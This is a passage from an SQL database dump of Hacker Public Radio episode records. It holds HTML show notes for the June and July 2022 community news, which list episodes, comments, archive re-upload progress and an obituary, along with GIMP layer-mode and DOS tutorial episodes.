target=\"_blank\">Comment 1</a>:\nMechatroniac on 2022-06-22:\n\"Youtube is no good anymore\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3621#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2022-06-23:\n\"Mr Teslonian\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3624#comments\" target=\"_blank\">hpr3624</a></strong>\n(2022-06-23) \"<em>Everything You Always Wanted to Know About PEX Parts 3 & 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3624#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2022-06-26:\n\"Unexpected relevance\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3625#comments\" target=\"_blank\">hpr3625</a></strong>\n(2022-06-24) \"<em>Shell Tips and Snippets - Collaborative Effort</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3625#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-06-25:\n\"shift\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3625#2\" target=\"_blank\">Comment 2</a>:\nCarl on 2022-06-27:\n\"Thanks\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"publishing-code-for-the-hpr-site\">Publishing code for the HPR site</h3>\n<p>The question came up during the month - is the HPR site code <em>open source</em>, and if so where is it?</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"https://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<ul>\n<li>Re-uploads done so far: 431</li>\n<li>Shows remaining to be done: 1128</li>\n<li>Shows uploaded by last Community News recording: 271</li>\n<li>Shows added since last recording: 160</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3651,'2022-08-01','HPR Community News for July 2022',2963,'HPR Volunteers talk about shows released and comments posted in July 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3630\" target=\"_blank\">3630</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-07-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3630\" target=\"_blank\">Planning an RV Trip</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3631\" target=\"_blank\">3631</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-07-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3631\" target=\"_blank\">HPR Community News for June 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3632\" target=\"_blank\">3632</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-07-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3632\" target=\"_blank\">Intro to web scraping with Python</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3633\" target=\"_blank\">3633</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-07-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3633\" target=\"_blank\">The collective history of RAID controller brands</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3634\" target=\"_blank\">3634</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-07-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3634\" target=\"_blank\">Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3635\" target=\"_blank\">3635</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-07-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3635\" target=\"_blank\">A short podcast on a nice tool called system-monitoring-center</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3636\" target=\"_blank\">3636</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-07-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3636\" target=\"_blank\">The Importance of Data Reduction</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3637\" target=\"_blank\">3637</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-07-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3637\" target=\"_blank\">HPR feed to Sqlite</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3638\" target=\"_blank\">3638</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-07-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3638\" target=\"_blank\">Ken drops a bear on his android phone</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3639\" target=\"_blank\">3639</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-07-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3639\" target=\"_blank\">Linux Inlaws S01E60: The Job Interview</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3640\" target=\"_blank\">3640</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-07-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3640\" target=\"_blank\">Expert DIR use</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3641\" target=\"_blank\">3641</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-07-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3641\" target=\"_blank\">Turntable audio capture Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3642\" target=\"_blank\">3642</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-07-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3642\" target=\"_blank\">Interview with a Hacker: Vitaliy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3643\" target=\"_blank\">3643</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-07-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3643\" target=\"_blank\">My computing history and the software I use</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3644\" target=\"_blank\">3644</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-07-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3644\" target=\"_blank\">Pinball Machine Repair Tips</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3645\" target=\"_blank\">3645</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-07-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3645\" target=\"_blank\">How to set up a small Linux Wireguard VPN</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3646\" target=\"_blank\">3646</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-07-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3646\" target=\"_blank\">arm, slackware, forth oh my!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3647\" target=\"_blank\">3647</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-07-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3647\" target=\"_blank\">Weekend projects</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3648\" target=\"_blank\">3648</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-07-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3648\" target=\"_blank\">A response to tomorrows show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3649\" target=\"_blank\">3649</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-07-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3649\" target=\"_blank\">Linux Inlaws S01E61: 20 years in review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3650\" target=\"_blank\">3650</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-07-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3650\" target=\"_blank\">Major Destinations</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 18 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3226#comments\" target=\"_blank\">hpr3226</a></strong>\n(2020-12-14) \"<em>Using taskwarrior to structurize your work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3226#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2022-07-09:\n\"the urgency\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3627#comments\" target=\"_blank\">hpr3627</a></strong>\n(2022-06-28) \"<em>Only Key Duo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3627#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2022-07-06:\n\"Installer Changed ...\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3630#comments\" target=\"_blank\">hpr3630</a></strong>\n(2022-07-01) \"<em>Planning an RV Trip</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3630#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-07-05:\n\"enjoyed the show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3630#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-07-06:\n\"Photos\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3632#comments\" target=\"_blank\">hpr3632</a></strong>\n(2022-07-05) \"<em>Intro to web scraping with Python</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3632#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-07-08:\n\"Thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3634#comments\" target=\"_blank\">hpr3634</a></strong>\n(2022-07-07) \"<em>Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3634#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-07-09:\n\"a hacker\'s plumbing system\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3637#comments\" target=\"_blank\">hpr3637</a></strong>\n(2022-07-12) \"<em>HPR feed to Sqlite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3637#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-07-20:\n\"Daily Database Dump in SQL Format\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3642#comments\" target=\"_blank\">hpr3642</a></strong>\n(2022-07-19) \"<em>Interview with a Hacker: Vitaliy</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3642#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-07-20:\n\"Great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3643#comments\" target=\"_blank\">hpr3643</a></strong>\n(2022-07-20) \"<em>My computing history and the software I use</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3643#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-07-08:\n\"First show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3643#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2022-07-20:\n\"Plan9\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3643#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-07-20:\n\"An excellent first show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3643#4\" target=\"_blank\">Comment 4</a>:\nbrian-in-ohio on 2022-07-24:\n\"future show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3644#comments\" target=\"_blank\">hpr3644</a></strong>\n(2022-07-21) \"<em>Pinball Machine Repair Tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3644#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-07-16:\n\"Pinball machines and English\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3644#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2022-07-21:\n\"Welcome!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3644#3\" target=\"_blank\">Comment 3</a>:\nbrian-in-ohio on 2022-07-24:\n\"soundscape\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3648#comments\" target=\"_blank\">hpr3648</a></strong>\n(2022-07-27) \"<em>A response to tomorrows show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3648#1\" target=\"_blank\">Comment 1</a>:\nLongTimeLurker on 2022-07-27:\n\"Known Unknowns\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3648#2\" target=\"_blank\">Comment 2</a>:\nE-/-y on 2022-07-28:\n\"Only the Interviews\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3649#comments\" target=\"_blank\">hpr3649</a></strong>\n(2022-07-28) \"<em>Linux Inlaws S01E61: 20 years in review</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3649#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-06-24:\n\"response show\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-July/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"olly-clark\">Olly Clark</h3>\n<p>The UK Tech community has been saddened to hear of the death of Oliver (Olly) Clark, a well known presence at OggCamp, Barcamp and Raspberry Pi meetings. He apparently died in November 2021 as a consequence of COVID-19. His family did not know who to contact in the wider community, so this news only became apparent recently.</p>\n<ul>\n<li>Twitter: <span class=\"citation\" data-cites=\"ollyclarkdotorg\">@ollyclarkdotorg</span> (<a href=\"https://twitter.com/ollyclarkdotorg\" class=\"uri\">https://twitter.com/ollyclarkdotorg</a>)</li>\n<li>Mastodon: <a href=\"https://mastodon.sdf.org/@ollyclarkdotorg\" class=\"uri\">https://mastodon.sdf.org/@ollyclarkdotorg</a></li>\n<li>Flickr: <a href=\"https://www.flickr.com/people/ollyclarkdotorg/\" class=\"uri\">https://www.flickr.com/people/ollyclarkdotorg/</a></li>\n<li>Web site: <a href=\"http://www.ollyclark.org/\" class=\"uri\">http://www.ollyclark.org/</a> (currently unavailable, but archived on the Wayback Machine at <a href=\"https://web.archive.org/web/20210801015127/https://www.ollyclark.org/\" class=\"uri\">https://web.archive.org/web/20210801015127/https://www.ollyclark.org/</a>)</li>\n</ul>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<ul>\n<li>Re-uploads done so far: 576</li>\n<li>Shows remaining to be done: 983</li>\n<li>Shows uploaded by last Community News recording: 431</li>\n<li>Shows added since last recording: 145</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (3540,'2022-02-25','HSV Components Layer Modes',1216,'More on Layer Modes in GIMP with the HSV Components Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the HSV Components Modes, which brings us to yet another color model, in this case the Hue, Saturation, and Value model. We\'ve already looked at RGB, which is the model used for most broadcast and online uses, and the CMYK model which is used for printing. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://www.linuxtopia.org/online_books/graphics_tools/gimp_advanced_guide/gimp_guide_node55_004.html\" class=\"uri\">https://www.linuxtopia.org/online_books/graphics_tools/gimp_advanced_guide/gimp_guide_node55_004.html</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=17Iivi0tmug&amp;t=1734s\" class=\"uri\">https://www.youtube.com/watch?v=17Iivi0tmug&amp;t=1734s</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/RGB_color_model\" class=\"uri\">https://en.wikipedia.org/wiki/RGB_color_model</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Subtractive_color\" class=\"uri\">https://en.wikipedia.org/wiki/Subtractive_color</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Color_model\" class=\"uri\">https://en.wikipedia.org/wiki/Color_model</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/HSL_and_HSV\" class=\"uri\">https://en.wikipedia.org/wiki/HSL_and_HSV</a></li>\r\n<li><a href=\"https://snappygoat.com/\" class=\"uri\">https://snappygoat.com/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/hsv-components-layer-modes/\" class=\"uri\">https://www.ahuka.com/gimp/hsv-components-layer-modes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, HSV Components Modes',0,0,1),
(3550,'2022-03-11','Format; Copy; Diskcopy; Xcopy',1202,'We continue our look at the old warhorse, DOS. This time it is Format and Copy commands','<p>This tutorial is mostly about working with floppy disks, or diskettes, though we also mention the formatting of hard drives, which generally required the use of a floppy drive and diskette to accomplish.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Floppy_disk\" class=\"uri\">https://en.wikipedia.org/wiki/Floppy_disk</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, Format, Copy, Diskcopy, Xcopy',0,0,1),
(3560,'2022-03-25','LCh Components Layer Modes',758,'More on Layer Modes in GIMP with the LCh Components Modes','<p>Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the LCh Components Modes, which brings us to yet another color model, in this case the Hue, Saturation, and Value model. We\'ve already looked at RGB, which is the model used for most broadcast and online uses, and the CMYK model which is used for printing, and in the previous tutorial we looked at the HSV model. This wraps up our look at color models, and also concluded our look at Layer Modes (or Blending Modes). These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html\" class=\"uri\">https://docs.gimp.org/2.10/en/gimp-concepts-layer-modes.html</a></li>\r\n<li><a href=\"https://ninedegreesbelow.com/photography/determine-image-tonality-and-palette-part-1.html\" class=\"uri\">https://ninedegreesbelow.com/photography/determine-image-tonality-and-palette-part-1.html</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CIELAB_color_space\" class=\"uri\">https://en.wikipedia.org/wiki/CIELAB_color_space</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/CIELUV#Cylindrical_representation_.28CIELCH.29\" class=\"uri\">https://en.wikipedia.org/wiki/CIELUV#Cylindrical_representation_.28CIELCH.29</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_color_spaces_and_their_uses\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_color_spaces_and_their_uses</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Luminance\" class=\"uri\">https://en.wikipedia.org/wiki/Luminance</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/lch-components-layer-modes/\" class=\"uri\">https://www.ahuka.com/gimp/lch-components-layer-modes/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Layer Modes, Blending Modes, LCh Components Modes',0,0,1),
(3570,'2022-04-08','The Filesystem',1412,'We continue our look at the old warhorse, DOS. This time it is the file system.','<p>One key to working with DOS is to understand the file system. This is not just about organizing files, though that is certainly a part of it, but also about keeping your system running smoothly and recovering lost files in some circumstances.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/File_Allocation_Table\" class=\"uri\">https://en.wikipedia.org/wiki/File_Allocation_Table</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Disk_sector\" class=\"uri\">https://en.wikipedia.org/wiki/Disk_sector</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Track_(disk_drive)\" class=\"uri\">https://en.wikipedia.org/wiki/Track_(disk_drive)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Data_cluster\" class=\"uri\">https://en.wikipedia.org/wiki/Data_cluster</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/File_system_fragmentation\" class=\"uri\">https://en.wikipedia.org/wiki/File_system_fragmentation</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Root_directory\" class=\"uri\">https://en.wikipedia.org/wiki/Root_directory</a></li>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-9-the-file-system/\" 